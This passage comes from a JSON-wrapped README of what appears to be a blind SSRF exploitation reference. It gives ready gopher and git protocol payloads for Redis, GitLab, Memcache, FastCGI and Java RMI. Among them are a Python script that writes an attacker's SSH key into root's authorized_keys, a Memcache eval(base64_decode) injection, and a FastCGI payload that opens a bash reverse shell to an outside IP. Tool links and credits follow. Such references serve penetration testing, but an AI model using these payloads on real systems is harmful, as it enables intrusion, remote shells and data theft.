payload\n```\n\n**RCE via authorized_keys** - [Redis Getshell Summary](https://www.mdeditor.tw/pl/pBy0)\n\n```python\nimport urllib\nprotocol=\"gopher://\"\nip=\"192.168.189.208\"\nport=\"6379\"\n# shell=\"\\n\\n\u003c?php eval($_GET[\\\"cmd\\\"]);?\u003e\\n\\n\"\nsshpublic_key = \"\\n\\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\\n\\n\"\nfilename=\"authorized_keys\"\npath=\"/root/.ssh/\"\npasswd=\"\"\ncmd=[\"flushall\",\n     \"set 1 {}\".format(sshpublic_key.replace(\" \",\"${IFS}\")),\n     \"config set dir {}\".format(path),\n     \"config set dbfilename {}\".format(filename),\n     \"save\"\n     ]\nif passwd:\n    cmd.insert(0,\"AUTH {}\".format(passwd))\npayload=protocol+ip+\":\"+port+\"/_\"\ndef redis_format(arr):\n    CRLF=\"\\r\\n\"\n    redis_arr = arr.split(\" \")\n    cmd=\"\"\n    cmd+=\"*\"+str(len(redis_arr))\n    for x in redis_arr:\n        cmd+=CRLF+\"$\"+str(len((x.replace(\"${IFS}\",\" \"))))+CRLF+x.replace(\"${IFS}\",\" \")\n    cmd+=CRLF\n    return cmd\n\nif __name__==\"__main__\":\n    for x in cmd:\n        payload += urllib.quote(redis_format(x))\n    print payload\n```\n\n**RCE on GitLab via Git protocol**\n\nGreat writeup from Liveoverflow [here](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/).\n\nWhile this required authenticated access to GitLab to exploit, I am including the payload here as the `git` protocol may work on the target you are hacking. This payload is for reference.\n\n```bash\ngit://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git\n```\n\n\u003cdiv id=\"memcache\"\u003e\u003c/div\u003e\n\n## Memcache\n\n**Commonly bound port: 11211**\n\n- [vBulletin Memcache RCE](https://www.exploit-db.com/exploits/37815)\n- [GitHub Enterprise Memcache RCE](https://www.exploit-db.com/exploits/42392)\n- [Example Gopher payload for Memcache](https://blog.safebuff.com/2016/07/03/SSRF-Tips/#SSRF-memcache-Getshell)\n\n```bash\ngopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:\"output\";a:1:{s:4:\"preg\";a:2:{s:6:\"search\";s:5:\"/.*/e\";s:7:\"replace\";s:33:\"eval(base64_decode($_POST[ccc]));\";}}s:13:\"rewritestatus\";i:1;}%0d%0a\ngopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0a\n```\n\n\u003cdiv id=\"tomcat\"\u003e\u003c/div\u003e\n\n## Apache Tomcat\n\n**Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)**\n\nEffective against Tomcat 6 only:\n\n[gopher-tomcat-deployer](https://github.com/pimps/gopher-tomcat-deployer)\n\nCTF writeup using this technique:\n\n[From XXE to RCE: Pwn2Win CTF 2018 Writeup](https://bookgin.tw/2018/12/04/from-xxe-to-rce-pwn2win-ctf-2018-writeup/)\n\n\n\u003cdiv id=\"fastcgi\"\u003e\u003c/div\u003e\n\n## FastCGI\n\n**Commonly bound ports: 80,443 (SSL)**\n\nThis was taken from [here](https://blog.chaitin.cn/gopher-attack-surfaces/).\n\n```bash\ngopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00\n```\n\n\u003cdiv id=\"java-rmi\"\u003e\u003c/div\u003e\n\n## Java RMI\n\n**Commonly bound ports: 1090,1098,1099,1199,4443-4446,8999-9010,9999**\n\nBlind *SSRF* vulnerabilities that allow arbitrary bytes (*gopher based*) can be used to perform deserialization or\ncodebase attacks on the *Java RMI* default components (*RMI Registry*, *Distributed Garbage Collector*, *Activation System*).\nA detailed writeup can be found [here](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/). The following listing\nshows an example for the payload generation:\n\n```console\n$ rmg serial 127.0.0.1 1090 CommonsCollections6 'curl example.burpcollaborator.net' --component reg --ssrf --gopher\n[+] Creating ysoserial payload... done.\n[+]\n[+] Attempting deserialization attack on RMI Registry endpoint...\n[+]\n[+] \tSSRF Payload: gopher://127.0.0.1:1090/_%4a%52%4d%49%00%02%4c%50%ac%ed%00%05%77%22%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%02%44%15%4d[...]\n```\n\n-------------------\n\n**Tools**\n\n\u003cdiv id=\"gopherus\"\u003e\u003c/div\u003e\n\n## Gopherus\n\n- [Gopherus - Github](https://github.com/tarunkant/Gopherus)\n- [Blog post on Gopherus](https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/)\n\nThis tool generates Gopher payloads for:\n\n- MySQL\n- PostgreSQL\n- FastCGI\n- Redis\n- Zabbix\n- Memcache\n\n\n\u003cdiv id=\"remote-method-guesser\"\u003e\u003c/div\u003e\n\n## remote-method-guesser\n\n- [remote-method-guesser - Github](https://github.com/qtc-de/remote-method-guesser)\n- [Blog post on SSRF usage](https://blog.tneitzel.eu/posts/01-attacking-java-rmi-via-ssrf/)\n\n*remote-method-guesser* is a *Java RMI* vulnerability scanner that supports attack operations for most common *Java RMI*\nvulnerabilities. Most of the available operations support the ``--ssrf`` option, to generate an *SSRF* payload for the\nrequested operation. Together with the ``--gopher`` option, ready to use *gopher* payloads can be generated directly.\n\n\n\u003cdiv id=\"ssrfproxy\"\u003e\u003c/div\u003e\n\n## SSRF Proxy\n\n- [SSRF Proxy](https://github.com/bcoles/ssrf_proxy)\n\nSSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).\n\n---\n\nCredits:\n\nThank you to the following people that have contributed to this post:\n\n- [@Rhynorater - Numerous contributions towards this blog post](https://twitter.com/Rhynorater)\n- [@nnwakelam - Solr Shards SSRF](https://twitter.com/nnwakelam)\n- [@marcioalm - Tomcat 6 Gopher RCE](https://twitter.com/marcioalm)\n- [@vtnahira - OpenTSDB RCE](https://twitter.com/vtnahira)\n- [@fransrosen - SSRF canaries concept](https://twitter.com/fransrosen)\n- [@theabrahack - RCE via Jenkins Groovy](https://twitter.com/@theabrahack)\n- [@qtc_de - RCE via Java RMI](https://twitter.com/qtc_de)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fassetnote%2Fblind-ssrf-chains","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fassetnote%2Fblind-ssrf-chains","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fassetnote%2Fblind-ssrf-chains/lists"}